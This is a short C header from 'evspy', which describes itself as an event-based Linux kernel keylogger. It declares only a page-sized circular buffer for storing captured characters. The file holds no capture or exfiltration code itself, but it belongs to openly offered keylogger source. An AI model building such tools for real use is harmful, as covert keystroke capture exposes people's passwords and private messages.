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/*
* evspy - event based keylogger (Linux module)
*
* Copyright (c) 2011 Guillermo Ramos <0xwille@gmail.com>
* based on evbug module by Vojtech Pavlik ((c) 1999-2001)
*
* This file is part of evspy
*
* evspy is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* evspy is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with evspy. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef _EVS_CBUF_H
#define _EVS_CBUF_H
#include <asm/page.h>
#define CBUF_SIZE PAGE_SIZE // size of the circular buffer (4K)
void cbuf_init(void);
int cbuf_read(char *to, int count, int *eof);
void cbuf_write(char c);
#endif /* _EVS_CBUF_H */
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